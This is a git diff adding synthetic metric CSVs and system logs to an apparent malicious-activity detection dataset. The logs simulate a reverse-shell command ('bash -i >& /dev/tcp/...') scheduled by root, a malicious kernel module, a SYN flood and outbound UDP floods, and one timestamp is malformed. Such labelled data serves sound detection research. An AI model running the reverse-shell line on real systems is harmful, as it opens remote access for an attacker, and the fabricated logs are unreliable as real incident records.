+2025-09-17T12:04:55Z,97.4,69.1,6.5,1.66,1121.99 +2025-09-17T12:05:00Z,97.1,69.5,6.3,1.58,1116.99 +2025-09-17T12:05:05Z,97.8,69.0,6.8,1.71,1123.99 +2025-09-17T12:05:10Z,96.8,69.2,5.9,1.54,1112.99 +2025-09-17T12:05:15Z,97.2,68.8,6.4,1.65,1120.99 +2025-09-17T12:05:20Z,97.9,69.4,6.9,1.73,1125.99 +2025-09-17T12:05:25Z,98.2,69.1,6.0,1.53,1113.99 +2_9-09-17T12:05:30Z,96.9,68.9,6.2,1.60,1119.99 +2025-09-17T12:05:35Z,97.5,69.3,7.1,1.66,1127.99 +2025-09-17T12:05:40Z,98.0,69.0,6.1,1.55,1111.99 +2025-09-17T12:05:45Z,97.4,69.2,6.5,1.69,1118.99 +2025-09-17T12:05:50Z,97.1,68.7,6.2,1.59,1116.99 +2025-09-17T12:05:55Z,97.8,69.4,6.7,1.72,1122.99 +2025-09-17T12:06:00Z,96.8,68.9,5.7,1.57,1113.99 +2025-09-17T12:06:05Z,97.2,69.1,6.4,1.64,1120.99 +2025-09-17T12:06:10Z,97.9,69.5,6.9,1.74,1124.99 +2025-09-17T12:06:15Z,98.2,69.0,5.9,1.53,1110.99 +2025-09-17T12:06:20Z,96.9,69.2,6.3,1.62,1119.99 +2025-09-17T12:06:25Z,97.5,69.6,6.8,1.68,1127.99 +2025-09-17T12:06:30Z,98.0,69.1,6.0,1.56,1112.99 +2025-09-17T12:06:35Z,97.4,69.3,6.4,1.67,1121.99 +2025-09-17T12:06:40Z,97.1,68.8,6.7,1.73,1125.99 +2025-09-17T12:06:45Z,97.8,69.4,5.8,1.51,1111.99 +2025-09-17T12:06:50Z,96.8,68.9,6.5,1.70,1118.99 +2025-09-17T12:06:55Z,97.2,69.5,6.1,1.66,1116.99 +2025-09-17T12:07:00Z,97.9,69.1,6.6,1.75,1123.99 +2025-09-17T12:07:05Z,98.2,68.7,5.6,1.68,1109.99 +2025-09-17T12:07:10Z,96.9,69.2,6.3,1.63,1117.99 +2025-09-17T12:07:15Z,97.5,69.6,6.8,1.76,1124.99 +2025-09-17T12:07:20Z,98.0,69.2,6.0,1.60,1113.99 +2025-09-17T12:07:25Z,97.4,69.4,6.4,1.71,1120.99 \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_22.log b/mali_dataset/scenario_2/mali_2_22.log new file mode 100644 index 0000000000000000000000000000000000000000..5dc6a26c3eed399a553e6b546a360fc9f412bfcc --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_22.log @@ -0,0 +1,29 @@ +Sep 17 12:00:00 systemd[1]: Created slice User Slice of UID 1001. +Sep 17 12:00:10 sshd[88231]: Accepted publickey for user from 192.168.1.10 port 54321 ssh2: RSA SHA256:abc... +Sep 17 12:00:35 CRON[88245]: (mysql) CMD (/usr/bin/mysql -e "ANALYZE TABLE logs.access_log;") +Sep 17 12:01:05 audit[88255]: SERVICE_START pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=systemd-tmpfiles-clean comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +Sep 17 12:01:35 CRON[88268]: (mysql) CMD (/usr/bin/mysql -e "ANALYZE TABLE logs.access_log;") +Sep 17 12:02:00 anacron[88279]: Job `cron.monthly` started +Sep 17 12:02:01 bash[88285]: (root) CMD (echo "bash -c 'bash -i >& /dev/tcp/10.0.0.100/4444 0>&1'" | at now + 1 minute) +Sep 17 12:02:04 [kworker/u16:0][88291]: Malicious kernel module loaded. Preparing for outbound connection. +Sep 17 12:02:05 [kworker/u16:0][88291]: SYN flood initiated against 203.0.113.20:80 +Sep 17 12:02:05 kernel: [NETFILTER] OUTBOUND_SYN_PASS: SRC=172.17.0.2 DST=203.0.113.20 PROTO=TCP SPT=58219 DPT=80 SYN +Sep 17 12:02:05 kernel: [NETFILTER] OUTBOUND_SYN_PASS: SRC=172.17.0.2 DST=203.0.113.20 PROTO=TCP SPT=58220 DPT=80 SYN +Sep 17 12:02:15 kernel: [NETFILTER] OUTBOUND_SYN_PASS: SRC=172.17.0.2 DST=203.0.113.20 PROTO=TCP SPT=44331 DPT=80 SYN +Sep 17 12:02:30 kernel: [NETFILTER] OUTBOUND_SYN_PASS: SRC=172.17.0.2 DST=203.0.113.20 PROTO=TCP SPT=39812 DPT=80 SYN +Sep 17 12:02:45 kernel: [NETFILTER] OUTBOUND_SYN_PASS: SRC=172.17.0.2 DST=203.0.113.20 PROTO=TCP SPT=61093 DPT=80 SYN +Sep 17 12:03:05 kernel: [NETFILTER] OUTBOUND_SYN_PASS: SRC=172.17.0.2 DST=203.0.113.20 PROTO=TCP SPT=35820 DPT=80 SYN +Sep 17 12:03:20 kernel: [NETFILTER] OUTBOUND_SYN_PASS: SRC=172.17.0.2 DST=203.0.113.20 PROTO=TCP SPT=50231 DPT=80 SYN +Sep 17 12:03:40 redis-server[1122]: [1122] 17 Sep 12:03:40.123 # Client closed connection before receiving reply +Sep 17 12:03:55 kernel: [NETFILTER] OUTBOUND_SYN_PASS: SRC=172.17.0.2 DST=203.0.113.20 PROTO=TCP SPT=40123 DPT=80 SYN +Sep 17 12:04:10 kernel: [NETFILTER] OUTBOUND_SYN_PASS: SRC=172.17.0.2 DST=203.0.113.20 PROTO=TCP SPT=55891 DPT=80 SYN +Sep 17 12:04:30 kernel: [NETFILTER] OUTBOUND_SYN_PASS: SRC=172.17.0.2 DST=203.0.113.20 PROTO=TCP SPT=47901 DPT=80 SYN +Sep 17 12:04:55 kernel: [NETFILTER] OUTBOUND_SYN_PASS: SRC=172.17.0.2 DST=203.0.113.20 PROTO=TCP SPT=33568 DPT=80 SYN +Sep 17 12:05:15 kernel: [NETFILTER] OUTBOUND_SYN_PASS: SRC=172.17.0.2 DST=203.0.113.20 PROTO=TCP SPT=52210 DPT=80 SYN +Sep 17 12:05:35 kernel: [NETFILTER] OUTBOUND_SYN_PASS: SRC=172.17.0.2 DST=203.0.113.20 PROTO=TCP SPT=40234 DPT=80 SYN +Sep 17 12:05:55 kernel: [NETFILTER] OUTBOUND_SYN_PASS: SRC=172.17.0.2 DST=203.0.113.20 PROTO=TCP SPT=44678 DPT=80 SYN +Sep 17 12:06:10 kernel: [NETFILTER] OUTBOUND_SYN_PASS: SRC=172.17.0.2 DST=203.0.113.20 PROTO=TCP SPT=58013 DPT=80 SYN +Sep 17 12:06:30 kernel: [NETFILTER] OUTBOUND_SYN_PASS: SRC=172.17.0.2 DST=203.0.113.20 PROTO=TCP SPT=36892 DPT=80 SYN +Sep 17 12:06:50 kernel: [NETFILTER] OUTBOUND_SYN_PASS: SRC=172.17.0.2 DST=203.0.113.20 PROTO=TCP SPT=50236 DPT=80 SYN +Sep 17 12:07:05 kernel: [NETFILTER] OUTBOUND_SYN_PASS: SRC=172.17.0.2 DST=203.0.113.20 PROTO=TCP SPT=41347 DPT=80 SYN +Sep 17 12:07:25 kernel: [NETFILTER] OUTBOUND_SYN_PASS: SRC=172.17.0.2 DST=203.0.113.20 PROTO=TCP SPT=55791 DPT=80 SYN \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_23.csv b/mali_dataset/scenario_2/mali_2_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..81717bc3e895642b78ada2fa27f5b7de2f555a98 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_23.csv @@ -0,0 +1,87 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,15.12,41.8,18.22,0.78,2.82 +2025-07-15T14:00:05Z,14.81,39.36,22.86,0.81,2.33 +2025-07-15T14:00:10Z,17.63,37.63,26.99,0.79,2.84 +2025-07-15T14:00:15Z,19.51,38.91,24.27,1.15,2.8 +2025-07-15T14:00:20Z,13.04,42.67,21.7,1.19,2.82 +2025-07-15T14:00:25Z,15.56,43.34,25.12,0.98,2.49 +2025-07-15T14:00:30Z,14.98,41.5,23.94,1.07,2.69 +2025-07-15T14:00:35Z,16.21,42.1,15.8,0.99,2.18 +2025-07-15T14:00:40Z,12.98,38.4,19.33,0.88,2.91 +2025-07-15T14:00:45Z,18.43,39.92,21.01,1.03,2.55 +2025-07-15T14:00:50Z,14.67,40.11,28.43,0.91,2.24 +2025-07-15T14:00:55Z,13.88,41.87,14.98,0.84,2.87 +2025-07-15T14:01:00Z,15.03,39.54,18.82,1.11,2.43 +2025-07-15T14:01:05Z,17.22,40.32,22.76,0.95,2.67 +2025-07-15T14:01:10Z,16.89,38.99,25.03,1.08,2.31 +2025-07-15T14:01:15Z,14.5,43.12,17.65,0.92,2.75 +2025-07-15T14:01:20Z,13.99,44.01,23.45,1.14,2.19 +2025-07-15T14:01:25Z,19.11,41.21,20.08,1.01,2.88 +2025-07-15T14:01:30Z,15.83,42.53,19.88,0.89,2.45 +2025-07-15T14:01:35Z,14.92,39.43,26.71,0.96,2.59 +2025-07-15T14:01:40Z,16.01,38.19,23.54,1.05,2.21 +2025-07-15T14:01:45Z,18.33,40.68,14.92,1.12,2.93 +2025-07-15T14:01:50Z,17.54,42.84,21.82,0.94,2.39 +2025-07-15T14:01:55Z,15.21,41.93,25.16,1.09,2.78 +2025-07-15T14:02:00Z,14.88,39.12,18.32,0.85,2.14 +2025-07-15T14:02:05Z,16.73,40.48,22.99,0.99,2.62 +2025-07-15T14:02:10Z,18.04,38.65,27.41,1.03,2.48 +2025-07-15T14:02:15Z,15.65,42.76,16.76,0.91,2.81 +2025-07-15T14:02:20Z,14.39,43.23,24.11,1.18,2.28 +2025-07-15T14:02:25Z,17.94,40.89,21.32,1.06,2.95 +2025-07-15T14:02:30Z,98.38,52.76,4.78,0.38,810.58 +2025-07-15T14:02:35Z,99.52,54.29,2.66,0.35,966.39 +2025-07-15T14:02:40Z,99.56,53.55,2.96,0.33,905.75 +2025-07-15T14:02:45Z,98.61,53.78,3.93,0.47,951.3 +2025-07-15T14:02:50Z,99.38,52.79,4.78,0.42,974.81 +2025-07-15T14:02:55Z,99.03,53.07,4.94,0.33,820.99 +2025-07-15T14:03:00Z,98.63,53.88,4.9,0.35,912.41 +2025-07-15T14:03:05Z,99.25,54.12,2.5,0.41,988.12 +2025-07-15T14:03:10Z,98.88,52.99,3.15,0.36,880.43 +2025-07-15T14:03:15Z,99.15,53.45,3.74,0.27,876.19 +2025-07-15T14:03:20Z,99.38,54.76,3.78,0.38,810.58 +2025-07-15T14:03:25Z,99.52,48.29,1.66,0.35,966.39 +2025-07-15T14:03:30Z,99.56,49.55,1.96,0.33,905.75 +2025-07-15T14:03:35Z,98.61,53.78,3.93,0.47,951.3 +2025-07-15T14:03:40Z,99.38,52.79,4.78,0.42,974.81 +2025-07-15T14:03:45Z,99.03,50.07,4.94,0.33,820.99 +2025-07-15T14:03:50Z,98.63,53.88,4.9,0.35,912.41 +2025-07-15T14:03:55Z,99.25,54.12,2.5,0.41,988.12 +2025-07-15T14:04:00Z,98.88,52.99,3.15,0.36,880.43 +2025-07-15T14:04:05Z,99.15,45.4,3.74,0.27,876.19 +2025-07-15T14:04:10Z,99.38,54.76,3.78,0.38,810.58 +2025-07-15T14:04:15Z,99.52,48.29,1.66,0.35,966.39 +2025-07-15T14:04:20Z,99.56,49.55,1.96,0.33,905.75 +2025-07-15T14:04:25Z,98.61,53.78,3.93,0.47,951.3 +2025-07-15T14:04:30Z,99.38,52.79,4.78,0.42,974.81 +2025-07-15T14:04:35Z,99.03,50.07,4.94,0.33,820.99 +2025-07-15T14:04:40Z,98.63,53.88,4.9,0.35,912.41 +2025-07-15T14:04:45Z,99.25,54.12,2.5,0.41,988.12 +2025-07-15T14:04:50Z,98.88,52.99,3.15,0.36,880.43 +2025-07-15T14:04:55Z,99.15,45.4,3.74,0.27,876.19 +2025-07-15T14:05:00Z,99.38,54.76,3.78,0.38,810.58 +2025-07-15T14:05:05Z,99.52,48.29,1.66,0.35,966.39 +2025-07-15T14:05:10Z,99.56,49.55,1.96,0.33,905.75 +2025-07-15T14:05:15Z,98.61,53.78,3.93,0.47,951.3 +2025-07-15T14:05:20Z,99.38,52.79,4.78,0.42,974.81 +2025-07-15T14:05:25Z,99.03,50.07,4.94,0.33,820.99 +2025-07-15T14:05:30Z,98.63,53.88,4.9,0.35,912.41 +2025-07-15T14:05:35Z,99.25,54.12,2.5,0.41,988.12 +2025-07-15T14:05:40Z,98.88,52.99,3.15,0.36,880.43 +2025-07-15T14:05:45Z,99.15,45.4,3.74,0.27,876.19 +2025-07-15T14:05:50Z,99.38,54.76,3.78,0.38,810.58 +2025-07-15T14:05:55Z,99.52,48.29,1.66,0.35,966.39 +2025-07-15T14:06:00Z,99.56,49.55,1.96,0.33,905.75 +2025-07-15T14:06:05Z,98.61,53.78,3.93,0.47,951.3 +2025-07-15T14:06:10Z,99.38,52.79,4.78,0.42,974.81 +2025-07-15T14:06:15Z,99.03,50.07,4.94,0.33,820.99 +2025-07-15T14:06:20Z,98.63,53.88,4.9,0.35,912.41 +2025-07-15T14:06:25Z,99.25,54.12,2.5,0.41,988.12 +2025-07-15T14:06:30Z,98.88,52.99,3.15,0.36,880.43 +2025-07-15T14:06:35Z,99.15,45.4,3.74,0.27,876.19 +2025-07-15T14:06:40Z,99.38,54.76,3.78,0.38,810.58 +2025-07-15T14:06:45Z,99.52,48.29,1.66,0.35,966.39 +2025-07-15T14:07:00Z,99.56,49.55,1.96,0.33,905.75 +2025-07-15T14:07:05Z,98.61,53.78,3.93,0.47,951.3 +2025-07-15T14:07:10Z,99.38,52.79,4.78,0.42,974.81 +2025-07-15T14:07:15Z,99.03,50.07,4.94,0.33,820.99 \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_23.log b/mali_dataset/scenario_2/mali_2_23.log new file mode 100644 index 0000000000000000000000000000000000000000..779738db573c4b20d388fcd1b6bf10a42274333a --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_23.log @@ -0,0 +1,35 @@ +Jul 15 14:00:00 systemd[1]: Started Session 100 of user root. +Jul 15 14:00:00 CRON[1800]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 14:00:10 webapp[5432]: 192.168.1.56 - - [15/Jul/2025:14:00:10 +0000] "GET /health" 200 12 +Jul 15 14:01:00 CRON[1810]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Jul 15 14:01:15 systemd[1]: Started Session 115 of user root. +Jul 15 14:02:15 webapp[5432]: 192.168.1.56 - - [15/Jul/2025:14:02:15 +0000] "GET /health" 200 12 +Jul 15 14:02:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=34567 DPT=80 LEN=1480 +Jul 15 14:02:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41234 DPT=80 LEN=1480 +Jul 15 14:02:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=58901 DPT=80 LEN=1480 +Jul 15 14:02:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=22345 DPT=80 LEN=1480 +Jul 15 14:02:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=33456 DPT=80 LEN=1480 +Jul 15 14:02:45 systemd[1]: Started Session 130 of user root. +Jul 15 14:02:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=49012 DPT=80 LEN=1480 +Jul 15 14:02:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=10987 DPT=80 LEN=1480 +Jul 15 14:03:00 CRON[1830]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 14:03:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=60123 DPT=80 LEN=1480 +Jul 15 14:03:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=15234 DPT=80 LEN=1480 +Jul 15 14:03:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=28765 DPT=80 LEN=1480 +Jul 15 14:03:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=42098 DPT=80 LEN=1480 +Jul 15 14:03:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=51342 DPT=80 LEN=1480 +Jul 15 14:03:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=11223 DPT=80 LEN=1480 +Jul 15 14:04:00 webapp[5432]: ERROR: Database connection pool exhausted: timeout waiting for connection. +Jul 15 14:04:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=25879 DPT=80 LEN=1480 +Jul 15 14:04:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=38901 DPT=80 LEN=1480 +Jul 15 14:04:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=47890 DPT=80 LEN=1480 +Jul 15 14:05:00 CRON[1850]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Jul 15 14:05:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=19876 DPT=80 LEN=1480 +Jul 15 14:05:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=30123 DPT=80 LEN=1480 +Jul 15 14:05:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=55432 DPT=80 LEN=1480 +Jul 15 14:06:00 systemd[1]: Started Session 145 of user root. +Jul 15 14:06:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=36806 DPT=80 LEN=1480 +Jul 15 14:06:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=45988 DPT=80 LEN=1480 +Jul 15 14:06:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=57056 DPT=80 LEN=1480 +Jul 15 14:06:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=24916 DPT=80 LEN=1480 +Jul 15 14:06:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.254 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=14789 DPT=80 LEN=1480 \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_24.csv b/mali_dataset/scenario_2/mali_2_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..2411403b9454ddfdfb5dd0af15c633008f55e3a2 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_24.csv @@ -0,0 +1,80 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:00:00Z,15.82,41.3,18.12,0.86,2.12 +2025-08-15T14:00:05Z,14.91,40.16,22.96,0.96,1.43 +2025-08-15T14:00:10Z,17.73,39.63,26.19,0.86,1.94 +2025-08-15T14:00:15Z,18.51,40.91,24.37,1.21,1.9 +2025-08-15T14:00:20Z,14.04,42.67,21.8,1.26,1.92 +2025-08-15T14:00:25Z,16.66,43.34,27.22,1.03,1.59 +2025-08-15T14:00:30Z,15.08,41.5,25.04,1.12,1.79 +2025-08-15T14:00:35Z,18.42,40.23,21.66,1.08,2.05 +2025-08-15T14:00:40Z,13.78,44.1,28.01,0.99,1.67 +2025-08-15T14:00:45Z,15.33,42.87,19.34,1.15,1.88 +2025-08-15T14:00:50Z,19.02,41.92,23.55,1.24,2.15 +2025-08-15T14:00:55Z,17.43,43.4,26.78,0.91,1.75 +2025-08-15T14:01:00Z,15.19,40.8,20.92,1.31,1.99 +2025-08-15T14:01:05Z,16.78,39.99,24.18,1.05,2.03 +2025-08-15T14:01:10Z,14.88,42.01,22.45,0.95,1.66 +2025-08-15T14:01:15Z,18.99,41.55,25.67,1.18,2.21 +2025-08-15T14:01:20Z,16.21,43.82,23.98,1.28,1.84 +2025-08-15T14:01:25Z,15.83,42.76,27.11,0.88,1.71 +2025-08-15T14:01:30Z,17.55,41.03,19.53,1.33,2.09 +2025-08-15T14:01:35Z,14.65,44.21,21.88,1.11,1.81 +2025-08-15T14:01:40Z,16.91,42.33,24.01,0.94,1.95 +2025-08-15T14:01:45Z,18.32,41.67,26.49,1.25,2.18 +2025-08-15T14:01:50Z,15.42,43.95,20.73,1.07,1.77 +2025-08-15T14:01:55Z,17.11,42.18,23.65,0.98,1.89 +2025-08-15T14:02:00Z,98.55,55.4,15.74,1.27,985.19 +2025-08-15T14:02:05Z,99.18,56.76,13.78,1.38,991.58 +2025-08-15T14:02:10Z,99.52,57.29,11.66,1.35,995.39 +2025-08-15T14:02:15Z,99.56,56.55,10.96,1.33,990.75 +2025-08-15T14:02:20Z,98.61,55.78,13.93,1.47,981.3 +2025-08-15T14:02:25Z,99.38,56.79,14.78,1.42,994.81 +2025-08-15T14:02:30Z,98.03,55.07,14.94,1.33,982.99 +2025-08-15T14:02:35Z,99.63,57.88,14.9,1.35,992.41 +2025-08-15T14:02:40Z,99.24,56.12,12.55,1.29,988.65 +2025-08-15T14:02:45Z,98.99,55.83,11.89,1.41,981.12 +2025-08-15T14:02:50Z,99.47,57.33,10.64,1.36,994.63 +2025-08-15T14:02:55Z,99.51,56.91,14.82,1.28,992.01 +2025-08-15T14:03:00Z,98.88,55.99,12.76,1.39,986.74 +2025-08-15T14:03:05Z,99.36,57.01,13.41,1.44,993.99 +2025-08-15T14:03:10Z,99.58,56.82,11.23,1.31,991.82 +2025-08-15T14:03:15Z,98.75,55.67,10.48,1.48,984.37 +2025-08-15T14:03:20Z,99.41,57.45,14.62,1.37,995.11 +2025-08-15T14:03:25Z,99.05,56.23,12.99,1.3,989.28 +2025-08-15T14:03:30Z,98.69,55.88,13.83,1.45,983.53 +2025-08-15T14:03:35Z,99.53,57.18,11.57,1.34,992.76 +2025-08-15T14:03:40Z,99.12,56.44,10.81,1.49,987.93 +2025-08-15T14:03:45Z,98.91,55.77,14.28,1.29,985.49 +2025-08-15T14:03:50Z,99.45,57.52,12.44,1.43,994.22 +2025-08-15T14:03:55Z,99.55,56.75,11.96,1.32,993.17 +2025-08-15T14:04:00Z,99.01,56.03,13.69,1.4,988.31 +2025-08-15T14:04:05Z,98.78,55.91,14.51,1.46,982.88 +2025-08-15T14:04:10Z,99.5,57.25,12.18,1.33,992.94 +2025-08-15T14:04:15Z,99.28,56.36,10.75,1.47,989.56 +2025-08-15T14:04:20Z,98.85,55.81,14.07,1.38,986.04 +2025-08-15T14:04:25Z,99.48,57.41,11.83,1.35,993.85 +2025-08-15T14:04:30Z,99.33,56.64,12.63,1.42,990.43 +2025-08-15T14:04:35Z,98.95,55.95,13.94,1.31,987.21 +2025-08-15T14:04:40Z,99.52,57.3,10.99,1.48,994.78 +2025-08-15T14:04:45Z,99.19,56.17,14.46,1.3,989.07 +2025-08-15T14:04:50Z,98.82,55.72,12.88,1.45,985.33 +2025-08-15T14:04:55Z,99.46,57.48,11.51,1.36,993.45 +2025-08-15T14:05:00Z,99.25,56.55,13.29,1.41,991.18 +2025-08-15T14:05:05Z,98.92,55.85,14.15,1.33,986.59 +2025-08-15T14:05:10Z,99.54,57.21,12.04,1.49,994.02 +2025-08-15T14:05:15Z,99.31,56.48,10.88,1.28,990.99 +2025-08-15T14:05:20Z,98.89,55.93,13.88,1.44,987.67 +2025-08-15T14:05:25Z,99.49,57.35,11.77,1.37,993.73 +2025-08-15T14:05:30Z,99.21,56.28,12.95,1.4,989.84 +2025-08-15T14:05:35Z,98.98,55.89,14.01,1.32,986.95 +2025-08-15T14:05:40Z,99.53,57.15,12.11,1.48,994.51 +2025-08-15T14:05:45Z,99.29,56.41,11.05,1.29,991.43 +2025-08-15T14:05:50Z,98.86,55.79,13.75,1.46,985.82 +2025-08-15T14:05:55Z,99.43,57.28,11.99,1.35,993.29 +2025-08-15T14:06:00Z,22.15,45.9,19.22,1.16,4.82 +2025-08-15T14:06:05Z,19.81,43.36,21.86,0.96,3.33 +2025-08-15T14:06:10Z,17.63,41.63,25.99,0.86,2.84 +2025-08-15T14:06:15Z,16.51,40.91,23.27,1.11,2.8 +2025-08-15T14:06:20Z,15.04,42.67,20.7,1.16,2.82 +2025-08-15T14:06:25Z,14.56,43.34,26.12,0.93,2.49 +2025-08-15T14:06:30Z,14.98,41.5,24.94,1.02,2.69 \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_24.log b/mali_dataset/scenario_2/mali_2_24.log new file mode 100644 index 0000000000000000000000000000000000000000..e5df0d75b7906a2476d542581017821eeb10f1d6 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_24.log @@ -0,0 +1,43 @@ +Aug 15 14:00:00 systemd[1]: Started Session 210 of user root. +Aug 15 14:00:00 CRON[2800]: (root) CMD ( /usr/lib/snapd/snapd --review) +Aug 15 14:00:10 webapp[5432]: 192.168.1.56 - - [15/Aug/2025:14:00:10] "GET /health" 200 12 +Aug 15 14:00:50 CRON[2810]: (root) CMD ( /usr/lib/snapd/snapd --review) +Aug 15 14:01:15 systemd[1]: Started Session 215 of user root. +Aug 15 14:01:40 CRON[2820]: (root) CMD ( /usr/lib/snapd/snapd --review) +Aug 15 14:02:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=34988 DPT=80 LEN=1480 +Aug 15 14:02:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41234 DPT=80 LEN=1480 +Aug 15 14:02:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=58211 DPT=80 LEN=1480 +Aug 15 14:02:15 webapp[5432]: 192.168.1.56 - - [15/Aug/2025:14:02:15] "GET /health" 200 12 +Aug 15 14:02:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=38901 DPT=80 LEN=1480 +Aug 15 14:02:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=45678 DPT=80 LEN=1480 +Aug 15 14:02:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=60123 DPT=80 LEN=1480 +Aug 15 14:02:30 systemd[1]: Started Session 230 of user root. +Aug 15 14:02:30 CRON[2830]: (root) CMD ( /usr/lib/snapd/snapd --review) +Aug 15 14:02:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=35899 DPT=80 LEN=1480 +Aug 15 14:02:40 kernel: [UFW ALLOW] IN= OUT=eth0 